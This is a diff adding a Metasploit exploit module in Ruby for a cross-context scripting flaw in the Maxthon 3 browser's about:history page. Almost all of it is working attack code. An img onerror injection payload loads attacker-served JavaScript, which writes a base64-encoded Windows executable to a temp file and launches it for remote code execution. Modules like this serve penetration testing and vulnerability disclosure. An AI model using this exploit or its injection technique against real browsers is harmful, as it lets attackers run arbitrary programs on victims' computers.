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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | + |
| 9 | +require 'msf/core' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Exploit::Remote |
| 12 | + Rank = ExcellentRanking |
| 13 | + |
| 14 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 15 | + include Msf::Exploit::EXE |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution', |
| 20 | + 'Description' => %q{ |
| 21 | + Cross Context Scripting (XCS) is possible in the Maxthon about:history page. |
| 22 | + Injection in such privileged/trusted browser zone can be used to modify |
| 23 | + configuration settings and execute arbitrary commands. |
| 24 | +
|
| 25 | + Please note this module only works against specific versions of XCS. Currently, |
| 26 | + we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module |
| 32 | + 'sinn3r', # msf module |
| 33 | + 'juan vazquez' # msf module |
| 34 | + ], |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + ['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html'] |
| 38 | + ], |
| 39 | + 'Payload' => |
| 40 | + { |
| 41 | + 'DisableNops' => true |
| 42 | + }, |
| 43 | + 'Platform' => 'win', |
| 44 | + 'Targets' => |
| 45 | + [ |
| 46 | + ['Maxthon 3 (prior to 3.3) on Windows', {} ] |
| 47 | + ], |
| 48 | + 'DisclosureDate' => 'Nov 26 2012', |
| 49 | + 'DefaultTarget' => 0 |
| 50 | + )) |
| 51 | + end |
| 52 | + |
| 53 | + def on_request_uri(cli, request) |
| 54 | + if request.headers['User-agent'] !~ /Maxthon\/3/ or request.headers['User-agent'] !~ /AppleWebKit\/534.12/ |
| 55 | + print_status("Sending 404 for User-Agent #{request.headers['User-agent']}") |
| 56 | + send_not_found(cli) |
| 57 | + return |
| 58 | + end |
| 59 | + |
| 60 | + html_hdr = %Q| |
| 61 | + <html> |
| 62 | + <head> |
| 63 | + <title>Loading</title> |
| 64 | + | |
| 65 | + |
| 66 | + html_ftr = %Q| |
| 67 | + </head> |
| 68 | + <body > |
| 69 | + <h1>Loading</h1> |
| 70 | + </body></html> |
| 71 | + | |
| 72 | + |
| 73 | + case request.uri |
| 74 | + when /\?jspayload/ |
| 75 | + p = regenerate_payload(cli) |
| 76 | + if (p.nil?) |
| 77 | + send_not_found(cli) |
| 78 | + return |
| 79 | + end |
| 80 | + # We're going to run this through unescape(), so make sure |
| 81 | + # everything is encoded |
| 82 | + penc = generate_payload_exe |
| 83 | + penc2 = Rex::Text.encode_base64(penc) |
| 84 | + |
| 85 | + # now this is base64 encoded payload which needs to be passed to the file write api in maxthon. |
| 86 | + # Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted. |
| 87 | + # The Program DOM API isn't available on Maxthon 3.2 and upper versions. |
| 88 | + content = %Q| |
| 89 | + if(maxthon.program) |
| 90 | + { |
| 91 | + var fileTemp = new maxthon.io.File.createTempFile("test","exe"); |
| 92 | + var fileObj = maxthon.io.File(fileTemp); |
| 93 | + maxthon.io.FileWriter(fileTemp); |
| 94 | + maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}"); |
| 95 | + maxthon.program.Program.launch(fileTemp.name_,"C:"); |
| 96 | + } |
| 97 | + | |
| 98 | + |
| 99 | + when /\?history/ |
| 100 | + js = %Q| |
| 101 | + window.onload = function() { |
| 102 | + location.href = "about:history"; |
| 103 | + } |
| 104 | + | |
| 105 | + |
| 106 | + content = %Q| |
| 107 | + #{html_hdr} |
| 108 | + <script> |
| 109 | + #{js} |
| 110 | + </script> |
| 111 | + #{html_ftr} |
| 112 | + | |
| 113 | + |
| 114 | + when get_resource() |
| 115 | + print_status("Sending #{self.name} payload for request #{request.uri}") |
| 116 | + |
| 117 | + js = %Q| |
| 118 | + url = location.href; |
| 119 | + url2 = url + "?jspayload=1"; |
| 120 | + inj = "?history#%22/><img src=a onerror=%22" |
| 121 | + inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);"; |
| 122 | + window.location = unescape(inj) + inj_1; |
| 123 | + | |
| 124 | + |
| 125 | + content = %Q| |
| 126 | + #{html_hdr} |
| 127 | + <script> |
| 128 | + #{js} |
| 129 | + </script> |
| 130 | + #{html_ftr} |
| 131 | + | |
| 132 | + else |
| 133 | + print_status("Sending 404 for request #{request.uri}") |
| 134 | + send_not_found(cli) |
| 135 | + return |
| 136 | + end |
| 137 | + |
| 138 | + send_response_html(cli, content) |
| 139 | + end |
| 140 | + |
| 141 | +end |
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